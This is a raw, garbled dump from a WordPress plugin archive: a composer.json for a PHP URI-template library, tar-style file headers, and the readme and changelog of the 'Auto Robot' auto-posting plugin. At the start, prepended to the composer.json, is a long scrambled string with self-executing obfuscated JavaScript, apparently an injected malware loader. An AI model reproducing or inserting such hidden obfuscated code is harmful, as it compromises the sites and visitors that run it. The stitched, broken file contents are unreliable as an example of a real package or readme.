(].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "rize/uri-template", "type": "library", "description": "PHP URI Template (RFC 6570) supports both expansion & extraction", "keywords": ["URI", "Template", "RFC 6570"], "license": "MIT", "authors": [ { "name": "Marut K", "homepage": "http://twitter.com/rezigned" } ], "require": { "php": ">=5.3.0" }, "require-dev": { "phpunit/phpunit": "~4.8.36" }, "autoload": { "psr-4": { "Rize\\": "src/Rize" } }, "scripts": { "test": "vendor/bin/phpunit test/" } } vendor/rize/uri-template/.gitignore000064400000000037147600277620013425 0ustar00vendor composer.lock .DS_Store vendor/rize/uri-template/.gitattributes000064400000000025147600277620014325 0ustar00/test export-ignore vendor/autoload.php000064400000000262147600277620010375 0ustar00Features:

      • Generate posts from RSS Feed link
      • Generate posts from most of the popular social medias, include twitter, facebook, instagram and etc
      • Generate videos from most of the popular videos stream, include youtube, vimeo and etc
      • Generate posts by your selected keywords
      • Schedule publish posts as your selected
      • Use WP Cron to check and run campaigns backend automatically

      Auto Robot Pro Version

      Like Auto Robot Free Version? Here's you can get Auto Robot pro version and have more features.

      == Installation == 1. Unzip the downloaded zip file. 2. Upload the plugin folder into the `wp-content/plugins/` directory of your WordPress site. 3. Activate `Auto Robot` from Plugins page. == Screenshots == == Frequently Asked Questions == = What is the requirements to use Auto Robot? = Minimum Requirements WordPress version 4.0 or greater. PHP version 5.4 or greater. = Recommended Requirements = Latest version of WordPress. PHP 5.4 or greater. == Upgrade notice == == Changelog == = Version 3.0.6 2023-02-09 = * Update - Keywords search rss campaign job class = Version 3.0.5 2022-10-19 = * Update - RSS campaign job class = Version 3.0.4 2022-02-18 = * Update - Spin Rewriter API service functions = Version 3.0.3 2021-11-22 = * Fix - Campaigns name and keywords empty issues * Fix - Ionicon js script load issues = Version 3.0.2 2021-11-12 = * Fix - Grab image issues on search type campaigns = Version 3.0.1 2021-11-10 = * Update - Update plugin license system = Version 3.0.0 2021-11-04 = * New Feature - Campaigns import and export = Version 2.9.9 2021-11-02 = * Update - Optimize the Campaign smart and expert mode = Version 2.9.8 2021-10-22 = * New Feature - Enable Spin Rewriter API Services = Version 2.9.7 2021-10-14 = * Update - Optimize the performance report and send email notifications functions * Update - Optimize WP Cron running functions scheduled campaigns automatically = Version 2.9.6 2021-09-15 = * New Feature - Campaign smart and expert mode = Version 2.9.4 2021-09-05 = * Update - Optimize the log system when running campaigns automatically * Update - Optimize funnctions to integrates third party apps api = Version 2.9.3 2021-08-30 = * Update - Optimize the performance report and send email notifications functions * Update - Optimize Spin Rewrite API Services functions = Version 2.9.2 2021-08-18 = * New Feature - News RSS Feed search campaigns = Version 2.9.1 2021-08-12 = * New Feature - Generates the performance report and send email notifications = Version 2.9.0 2021-08-09 = * New Feature - Integrate Spin Rewrite API Services = Version 2.8.2 2021-07-31 = * Fix - The post draft status not working issues on wp cron schedule jobs * Fix - Make all draft campaigns not running on wp cron schedule jobs = Version 2.8.1 2021-07-26 = * Update - Optimize functions to store youtube data cache * Update - Notice message when user miss the application API setup * Fix - Post author changing issue when wp cron run scheduled campaigns automatically * Fix - WP cron job doesn't save